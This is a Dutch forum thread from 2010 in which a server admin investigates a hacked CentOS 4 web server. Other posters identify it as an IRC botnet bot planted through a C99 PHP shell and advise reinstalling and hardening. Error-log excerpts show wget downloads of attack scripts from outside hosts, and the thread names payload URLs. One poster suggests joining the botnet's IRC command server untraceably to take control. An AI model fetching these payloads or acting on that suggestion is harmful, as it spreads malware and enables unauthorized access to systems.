"Virus" op CentOS 4 server

[Megamind]

Ik heb hier een oude productieserver staan met nog CentOS 4 erop. Ik kreeg de melding dat httpd down ging elke nacht en ik besloot eens te kijken. Tot mijn schrik stond top vol met dit:

13465 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13472 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13481 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13492 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13493 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13495 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13496 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
13501 apache    16   0     0    0    0 Z  0.7  0.0   0:00.02 perl <defunct>
 6147 root      16   0  8152 2352 1852 R  0.3  0.1   0:00.27 sshd
 7832 apache    15   0 26388  12m 3388 S  0.3  0.6   0:00.79 httpd
 7916 apache    15   0 15772  10m 1676 S  0.3  0.5   0:00.52 perl
13139 apache    17   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13162 apache    15   0 16900  10m 1116 S  0.3  0.5   0:00.03 perl
13245 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13246 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13289 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13401 apache    15   0 15500 9056 1116 S  0.3  0.4   0:00.02 perl
13466 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13467 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13468 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13469 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13470 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13471 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13473 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13474 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13475 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13476 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13477 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>
13478 apache    16   0     0    0    0 Z  0.3  0.0   0:00.01 perl <defunct>

Bovenaan staat een perl process dat bijna 100% CPU in beslag neemt.

 7831 apache    25   0  9380 3852 1244 R 17.5  0.2   4:15.14 perl

Als ik daar een lsof op doe:

COMMAND  PID   USER   FD   TYPE     DEVICE     SIZE     NODE NAME
perl    7831 apache  cwd    DIR      253,0     4096 16533209 /usr/local/src/gd/config/bad
perl    7831 apache  rtd    DIR      253,0     4096        2 /
perl    7831 apache  txt    REG      253,0    13552 16223569 /usr/bin/perl
perl    7831 apache  mem    REG      253,0    20436 16565227 /usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/Socket/Socket.so
perl    7831 apache  mem    REG      253,0  1144192 16351941 /usr/lib/perl5/5.8.8/i386-linux-thread-multi/CORE/libperl.so
perl    7831 apache  mem    REG      253,0    15908 16565052 /usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/IO/IO.so
perl    7831 apache  mem    REG      253,0   112212 22937657 /lib/ld-2.3.4.so
perl    7831 apache  mem    REG      253,0  1548044 22937665 /lib/tls/libc-2.3.4.so
perl    7831 apache  mem    REG      253,0    16748 22938683 /lib/libdl-2.3.4.so
perl    7831 apache  mem    REG      253,0   214060 22938684 /lib/tls/libm-2.3.4.so
perl    7831 apache  mem    REG      253,0   107888 22937644 /lib/tls/libpthread-2.3.4.so
perl    7831 apache  mem    REG      253,0    41956 22937650 /lib/libcrypt-2.3.4.so
perl    7831 apache  mem    REG      253,0    81140 22938682 /lib/libresolv-2.3.4.so
perl    7831 apache  mem    REG      253,0    49120 22937691 /lib/libnss_files-2.3.4.so
perl    7831 apache  mem    REG      253,0    24352 22937703 /lib/libnss_dns-2.3.4.so
perl    7831 apache  mem    REG      253,0   101748 22937663 /lib/libnsl-2.3.4.so
perl    7831 apache  mem    REG      253,0    15860 22937684 /lib/libutil-2.3.4.so
perl    7831 apache  mem    REG      253,0 48520192 16231365 /usr/lib/locale/locale-archive
perl    7831 apache    0r   CHR        1,3              1880 /dev/null
perl    7831 apache    1w  FIFO        0,7             28835 pipe
perl    7831 apache    2w   REG      253,0  2528273 25870661 /var/log/httpd/error_log
perl    7831 apache    3u  IPv6       8325               TCP *:http (LISTEN)
perl    7831 apache    4u  sock        0,4              8326 can't identify protocol
perl    7831 apache    5u  IPv6       8342               TCP *:https (LISTEN)
perl    7831 apache    6u  sock        0,4              8343 can't identify protocol
perl    7831 apache    7r  FIFO        0,7              8440 pipe
perl    7831 apache    8w  FIFO        0,7              8440 pipe
* Behoorlijk wat entries ertussenuit gehaald *
perl    7831 apache  124w   REG      253,0  2197537 25870625 /var/log/httpd/access_log
perl    7831 apache  125w   REG      253,0     7507 26149644 /var/logs/ssl_request_log
perl    7831 apache  126w   REG      253,0     2127 25870608 /var/log/httpd/homedir.log
perl    7831 apache  127w   REG      253,0     2127 25870608 /var/log/httpd/homedir.log
perl    7831 apache  128w   REG      253,0     2127 25870608 /var/log/httpd/homedir.log
perl    7831 apache  129w   REG      253,0     2127 25870608 /var/log/httpd/homedir.log
perl    7831 apache  130w   REG      253,0        0 25870612 /var/log/httpd/ssl_mutex (deleted)
perl    7831 apache  131r  0000        0,8        0    27339 eventpoll
perl    7831 apache  132u  IPv6      28832               TCP home.udis.nl:http->server1.masticreators.com:39678 (CLOSE_WAIT)
perl    7831 apache  133u  unix 0xf6f59080             28833 socket
perl    7831 apache  134u  IPv4      28849               TCP server:36037->ip-67-205-85-206.static.privatedns.com:afs3-fileserver (ESTABLISHED)

Nu is mijn Linux kennis niet super, maar ik neem aan dat dit script gestart wordt vanuit de directory /usr/local/src/gd/config/bad? En hoe kom erachter wel bestandje dit precies is?

Ik heb er al RKHunter en AVG opstaan maar ze kunnen beide niets vinden.

[Verwijderd]

Met 'ps aux' kun je wel achterhalen welk script het is.

Het is het waarschijnlijkst dat je server onderdeel is van een botnet. Het beste kun je gewoon de gehele machine opnieuw installeren om er zeker van te zijn dat alles weg is. Ze kunnen altijd ergens een backdoor achter gelaten hebben.

Meestal komen ze binnen via:
- SSH bruteforce (een user met een slecht wachtwoord)
- Services die niet up2date zijn
- Een website waar ze code execution op verkregen hebben

[Megamind]

Verwijderd schreef op dinsdag 05 oktober 2010 @ 09:56:
Met 'ps aux' kun je wel achterhalen welk script het is.

Het is het waarschijnlijkst dat je server onderdeel is van een botnet. Het beste kun je gewoon de gehele machine opnieuw installeren om er zeker van te zijn dat alles weg is. Ze kunnen altijd ergens een backdoor achter gelaten hebben.

Meestal komen ze binnen via:
- SSH bruteforce (een user met een slecht wachtwoord)
- Services die niet up2date zijn
- Een website waar ze code execution op verkregen hebben

- Zou kunnen, maar ik zie niets in mijn secure log
- Dit kan wel omdat het nog een CentOS 4 server is die niet zo vaak wordt geupdate
- Dit kan ook nog wel omdat er een aantal shared accounts op staan.

PHP en Apache zijn wel uptodate, maar de scripts van de mensen op de server weet ik natuurlijk niet. Daar ga ik eerst eens naar kijken.

[Verwijderd]

Let wel dat als ze eenmaal acces hebben dat je dan niet meer op secure.log kan vertrouwen.

Het lijkt me trouwens een brakke site omdat alles als de apache user draait.

[Megamind]

Nee dat komt niet daardoor, volgens mij komt dat hierdoor:

rm: invalid option -- O
Try `rm --help' for more information.
--01:50:10--  http://www.centralhstric.net/id/ddos.txt
           => `ddos.txt'
Resolving www.centralhstric.net... 65.254.250.107
Connecting to www.centralhstric.net|65.254.250.107|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27,187 (27K) [text/plain]

    0K .......... .......... ......                          100%  148.23 KB/s

01:50:10 (148.23 KB/s) - `ddos.txt' saved [27187/27187]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
^M  9 27187    9  2569    0     0   9181      0  0:00:02 --:--:--  0:00:02  9181^M 30 27187   30  8361    0     0  22445      0  0:00:01 --:--:--  0:00:01 62279^M100 27187  100 2718
7    0     0  58884      0 --:--:-- --:--:-- --:--:--  132k
curl: Remote file name has no length!
curl: try 'curl --help' or 'curl --manual' for more information
Can't open perl script "xl.txt": No such file or directory
rm: invalid option -- O
Try `rm --help' for more information.
--01:50:12--  http://www.centralhstric.net/id/ddos.txt
           => `ddos.txt'
Resolving www.centralhstric.net... 65.254.250.107
Connecting to www.centralhstric.net|65.254.250.107|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27,187 (27K) [text/plain]

    0K .......... .......... ......                          100%  148.10 KB/s

01:50:12 (148.10 KB/s) - `ddos.txt' saved [27187/27187]

Uit de error_log.

Kijk maar eens op http://www.centralhstric.net/id/ddos.txt, daar staan de gespoofde proc namen in.

[Verwijderd]

Ha mooi die gaat bij mij in het archief,

Het is dus een bot welke zijn c&c op irc heeft. Op server 114.207.xxx.xxx in het kanaal autorun. Alle ondersteunde commando's staan er ook in .

Soms kun je zelf ook de server joinen en zo de controle overnemen (of iig zien hoe groot het botnet is). Zorg dan wel altijd dat je untraceble bent.

Het lijkt me verstandig dat je een reinstall doet. Als ze een kernel backdoor hebben ingebouwd kom je hier nooit achter.

[ Voor 42% gewijzigd door Verwijderd op 05-10-2010 10:40 ]

[Megamind]

Ja een herinstall ga ik ook doen, ik heb het IP geblokkeerd in de firewall, hopelijk is dat voor nu even genoeg.

Zijn er geen plekken waar je dit soort dingen kan melden?

[Eagle Creek]

Je kunt hier eens kijken:
http://www.dslreports.com...w-to-report-a-botnet-host

http://isc.sans.edu/diary.html?storyid=343

Maar er is geen centraal landelijk meldpunt m.i.

[DiedX]

Herinstalleren is het meest veilige, maar ook het meest "grove". In mijn ervaring wordt er vaak alleen gebruik gemaakt van OF dDOS attacks, OF als storage voor warez (vaak op Windows bakken).

Tenzij je geen dagen werk hebt in het herinstalleren, zou ik overwegen om het script te vinden wat lek is (ongetwijfeld een PHP-script wat niet geupdate is), /tmp, /var/tmp en /dev/shm opschonen, en het dan een dag noemen.

Ik heb geen bergen tijd over, maar kan eventueel helpen met vinden van het script.

[Megamind]

Zo te zien heb ik het al gevonden, het zijn Filipijnen Indonesiërs.

######################################
##  SeLaMaT BeRjUaNg BrOtHeR...!!!  ##
######################################

sub irc_join { my $to           = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to           = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn          = $_[0]; irc_raw("QUIT :$psn"); exit; }

##############################
##[ CasperKae CRACKED CREW ]##
##############################

[DiedX]

Megamind schreef op dinsdag 05 oktober 2010 @ 10:59:
Zo te zien heb ik het al gevonden, het zijn Filipijnen.

######################################
##  SeLaMaT BeRjUaNg BrOtHeR...!!!  ##
######################################

sub irc_join { my $to           = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to           = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn          = $_[0]; irc_raw("QUIT :$psn"); exit; }

##############################
##[ CasperKae CRACKED CREW ]##
##############################

Waar vond je dit dan?

[Megamind]

In de /tmp folder. Maar er staat niets boeiend in alleen wat tekst en dit. Niet het script zelf...

[Releases]

Is dit geen C99 shell die je ''besmet'' heeft?

[DiedX]

Ik zou al je apache-logfiles afgaan.

[Megamind]

Releases schreef op dinsdag 05 oktober 2010 @ 11:09:
Is dit geen C99 shell die je ''besmet'' heeft?

Oei daar lijkt het wel op, kom namelijk dit soort dingen tegen:

Connecting to wan8.fileave.com|64.62.181.43|:80... --12:40:49--  http://wan8.fileave.com/c99.txt

[Releases]

Yes, dat is een C99 shell input die gedaan is.
Fileave is een hosting website voor bestanden die dan direct gedownload kunnen worden, die worden vaak voor dit soort grapjes gebruikt.

C99 shell execute is vrij makkelijker als je op een handleiding daarvoor zoekt, zodra er een exploit zit in een out of date versie dan kan die zo misbruikt worden om een C99 shell te uploaden naar de server, die functioneert dan als een soort backdoor.


Als je trouwens naar de volgende link browesed: wan8.fileave.com
Dan zie je ook dat daar een C99.txt instaat.

Tada!

[ Voor 15% gewijzigd door Releases op 05-10-2010 12:53 ]

[Jaded]

Ik raad je ook aan om wat aan server beveiliging te doen om dit in de toekomst te voorkomen.
Beveilig bijvoorbeeld je /tmp en /dev/shm directory:
http://sysadmingear.blogs...and-devshm-partition.html

Als je echt alles af wilt timmeren kun je ook mod_security2 installeren.
Als hele simpele workaround kun je ook bepaalde php_functies uitschakelen in je php.ini, en je eigen binaries (wget, curl enzovoorts) uitzetten door de execute rechten weg te halen.